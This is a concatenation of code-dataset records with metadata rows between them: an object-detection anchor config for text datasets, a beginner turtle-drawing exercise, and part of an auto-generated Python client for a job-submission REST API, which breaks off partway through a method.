'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [21, 45, 99, 153, 207, 261],
'max_sizes': [45, 99, 153, 207, 261, 315],
'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'COCO',
'anchor_nums': [4, 6, 6, 6, 4, 4],####
'flip': True,####
}
icdar2015 = { ####
'num_classes': 2,
'lr_steps': (30000, 70000, 150000),
'max_iter': 150000,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
# 'min_sizes': [30, 60, 111, 162, 213, 264],
# 'max_sizes': [60, 111, 162, 213, 264, 315],
# 'aspect_ratios': [[2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10]],
###0.34 ave_iou
'min_sizes': [15, 30, 90, 162, 213, 264],
'max_sizes': [30, 90, 162, 213, 264, 315],
'aspect_ratios': [[2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5]],
####add anchor 0.44 ave_iou
# 'min_sizes': [30, 60, 111, 162, 213, 264],
# 'max_sizes': [60, 111, 162, 213, 264, 315],
# 'aspect_ratios': [[2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'ICDAR2015',
'anchor_nums': [8, 8, 8, 8, 8, 8],####
'flip': True,####
}
icdar2013 = { ####
'num_classes': 2,
'lr_steps': (0, 15000),
'max_iter': 20010,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [30, 60, 111, 162, 213, 264],
'max_sizes': [60, 111, 162, 213, 264, 315],
'aspect_ratios': [[2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10]],
# 'min_sizes': [15, 30, 90, 162, 213, 264],
# 'max_sizes': [30, 90, 162, 213, 264, 315],
# 'aspect_ratios': [[2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'ICDAR2013',
'anchor_nums': [7, 7, 7, 7, 7, 7],####
'flip': False,####
# 'anchor_nums': [11, 11, 11, 11, 11, 11],####
# 'flip': True,####
}
synthtext = {
####pretrain for icdar2013
# 'num_classes': 2,
# 'lr_steps': (30000, 60000),
# 'max_iter': 50010,
# 'feature_maps': [19, 19, 10, 5, 3, 1],
# 'min_dim': 304,
# 'steps': [16, 16, 30, 61, 101, 304],
# # 'min_sizes': [15, 30, 90, 162, 213, 264],
# # 'max_sizes': [30, 90, 162, 213, 264, 315],
# # 'aspect_ratios': [[2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5]],
# 'min_sizes': [30, 60, 111, 162, 213, 264],
# 'max_sizes': [60, 111, 162, 213, 264, 315],
# 'aspect_ratios': [[2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10], [2,3,5,7,10]],
# 'variance': [0.1, 0.2],
# 'clip': True,
# 'name': 'SynthText',
# 'anchor_nums': [7, 7, 7, 7, 7, 7],####
# 'flip': False,#### 1/ar needed or not
####pretrain for icdar2015
'num_classes': 2,
'lr_steps': (30000, 60000),
'max_iter': 50010,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [15, 30, 90, 162, 213, 264],
'max_sizes': [30, 90, 162, 213, 264, 315],
'aspect_ratios': [[2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5], [2,3,5]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'SynthText',
'anchor_nums': [8, 8, 8, 8, 8, 8],####
'flip': True,####
} | 30.977401 | 115 | 0.472552 | 907 | 5,483 | 2.76075 | 0.125689 | 0.047923 | 0.057508 | 0.039936 | 0.784744 | 0.769569 | 0.755192 | 0.738818 | 0.738818 | 0.738818 | 0 | 0.290401 | 0.249498 | 5,483 | 177 | 116 | 30.977401 | 0.318105 | 0.256064 | 0 | 0.598291 | 0 | 0 | 0.215681 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.008547 | 0 | 0.008547 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
81f18846838ba09698e64433a734c02341635c86 | 1,185 | py | Python | stage05-artist1/s1level31.py | xenomorff/code-dot-org-python | 7b35999dc35fa9ca13c683f43eca631dc92e5da4 | [
"Unlicense"
] | null | null | null | stage05-artist1/s1level31.py | xenomorff/code-dot-org-python | 7b35999dc35fa9ca13c683f43eca631dc92e5da4 | [
"Unlicense"
] | null | null | null | stage05-artist1/s1level31.py | xenomorff/code-dot-org-python | 7b35999dc35fa9ca13c683f43eca631dc92e5da4 | [
"Unlicense"
] | null | null | null | """Stage 5: Puzzle 8 of 10
Ok, try to figure out what happens when you run this code.
Then, repeat it enough times to complete the drawing. The
colors will be different every time.
"""
import sys
sys.path.append('..')
import codestudio
artist = codestudio.load('s1level31')
a = artist
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.color = artist.random_color()
artist.move_forward(100)
artist.move_backward(100)
artist.turn_right(45)
artist.check()
| 24.183673 | 58 | 0.795781 | 185 | 1,185 | 4.924324 | 0.275676 | 0.193194 | 0.149287 | 0.201976 | 0.7618 | 0.7618 | 0.7618 | 0.7618 | 0.7618 | 0.7618 | 0 | 0.065438 | 0.084388 | 1,185 | 48 | 59 | 24.6875 | 0.774194 | 0.150211 | 0 | 0.842105 | 0 | 0 | 0.011011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.052632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c3195c5315af5c91144e68acebda861718e6c514 | 55,599 | py | Python | epiccore/api/job_api.py | zenotech/python_epic_api | 2eaefc98fefc1d7fff46ba1b7ce6e4019d6d7386 | [
"FTL"
] | null | null | null | epiccore/api/job_api.py | zenotech/python_epic_api | 2eaefc98fefc1d7fff46ba1b7ce6e4019d6d7386 | [
"FTL"
] | null | null | null | epiccore/api/job_api.py | zenotech/python_epic_api | 2eaefc98fefc1d7fff46ba1b7ce6e4019d6d7386 | [
"FTL"
] | null | null | null | # coding: utf-8
"""
EPIC API
REST API for interacting with EPIC (https://epic.zenotech.com) services. <br /> Please note this API is in BETA and does not yet contain all EPIC functionality. # noqa: E501
The version of the OpenAPI document: v2
Contact: support@zenotech.com
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from epiccore.api_client import ApiClient
from epiccore.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class JobApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def job_auth_read(self, id, **kwargs): # noqa: E501
"""job_auth_read # noqa: E501
Get the authorisation status for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_auth_read(id, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: JobAuthStatus
"""
kwargs['_return_http_data_only'] = True
return self.job_auth_read_with_http_info(id, **kwargs) # noqa: E501
def job_auth_read_with_http_info(self, id, **kwargs): # noqa: E501
"""job_auth_read # noqa: E501
Get the authorisation status for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_auth_read_with_http_info(id, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(JobAuthStatus, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_auth_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_auth_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/auth/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='JobAuthStatus', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_auth_update(self, id, data, **kwargs): # noqa: E501
"""job_auth_update # noqa: E501
Update the authorisation status for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_auth_update(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: JobAuthStatus
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: JobAuthStatus
"""
kwargs['_return_http_data_only'] = True
return self.job_auth_update_with_http_info(id, data, **kwargs) # noqa: E501
def job_auth_update_with_http_info(self, id, data, **kwargs): # noqa: E501
"""job_auth_update # noqa: E501
Update the authorisation status for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_auth_update_with_http_info(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: JobAuthStatus
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(JobAuthStatus, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_auth_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_auth_update`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `job_auth_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/auth/', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='JobAuthStatus', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_cancel(self, id, data, **kwargs): # noqa: E501
"""job_cancel # noqa: E501
Cancel a job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_cancel(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: object
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: None
"""
kwargs['_return_http_data_only'] = True
return self.job_cancel_with_http_info(id, data, **kwargs) # noqa: E501
def job_cancel_with_http_info(self, id, data, **kwargs): # noqa: E501
"""job_cancel # noqa: E501
Cancel a job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_cancel_with_http_info(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: object
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: None
"""
local_var_params = locals()
all_params = [
'id',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_cancel" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_cancel`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `job_cancel`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/cancel/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_create(self, data, **kwargs): # noqa: E501
"""job_create # noqa: E501
Create a new job bssased on the submitted job specification. App and Queue codes can be retreived from the catalog endpoints. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_create(data, async_req=True)
>>> result = thread.get()
:param data: (required)
:type data: JobArraySpec
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: list[Job]
"""
kwargs['_return_http_data_only'] = True
return self.job_create_with_http_info(data, **kwargs) # noqa: E501
def job_create_with_http_info(self, data, **kwargs): # noqa: E501
"""job_create # noqa: E501
Create a new job bssased on the submitted job specification. App and Queue codes can be retreived from the catalog endpoints. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_create_with_http_info(data, async_req=True)
>>> result = thread.get()
:param data: (required)
:type data: JobArraySpec
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(list[Job], status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `job_create`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Job]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_list(self, **kwargs): # noqa: E501
"""job_list # noqa: E501
List the jobs instances in EPIC # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_list(async_req=True)
>>> result = thread.get()
:param limit: Number of results to return per page.
:type limit: int
:param offset: The initial index from which to return the results.
:type offset: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: InlineResponse2006
"""
kwargs['_return_http_data_only'] = True
return self.job_list_with_http_info(**kwargs) # noqa: E501
def job_list_with_http_info(self, **kwargs): # noqa: E501
"""job_list # noqa: E501
List the jobs instances in EPIC # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_list_with_http_info(async_req=True)
>>> result = thread.get()
:param limit: Number of results to return per page.
:type limit: int
:param offset: The initial index from which to return the results.
:type offset: int
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(InlineResponse2006, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'limit',
'offset'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501
query_params.append(('limit', local_var_params['limit'])) # noqa: E501
if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501
query_params.append(('offset', local_var_params['offset'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InlineResponse2006', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_partial_update(self, id, data, **kwargs): # noqa: E501
"""job_partial_update # noqa: E501
Update the job options for job instance with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_partial_update(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: JobAppOptions
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: JobAppOptions
"""
kwargs['_return_http_data_only'] = True
return self.job_partial_update_with_http_info(id, data, **kwargs) # noqa: E501
def job_partial_update_with_http_info(self, id, data, **kwargs): # noqa: E501
"""job_partial_update # noqa: E501
Update the job options for job instance with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_partial_update_with_http_info(id, data, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param data: (required)
:type data: JobAppOptions
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(JobAppOptions, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_partial_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_partial_update`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `job_partial_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='JobAppOptions', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_quote(self, data, **kwargs): # noqa: E501
"""job_quote # noqa: E501
Provides a price quote based upon the given BatchJobLaunchSpec. Quotes will be returned for clusters that the user/team has permission to use and that support the requested application, task distribution and runtime. When submitting multiple steps in a the job specification then the task reference may be used to identify individual steps. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_quote(data, async_req=True)
>>> result = thread.get()
:param data: (required)
:type data: JobSpec
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: JobQuote
"""
kwargs['_return_http_data_only'] = True
return self.job_quote_with_http_info(data, **kwargs) # noqa: E501
def job_quote_with_http_info(self, data, **kwargs): # noqa: E501
"""job_quote # noqa: E501
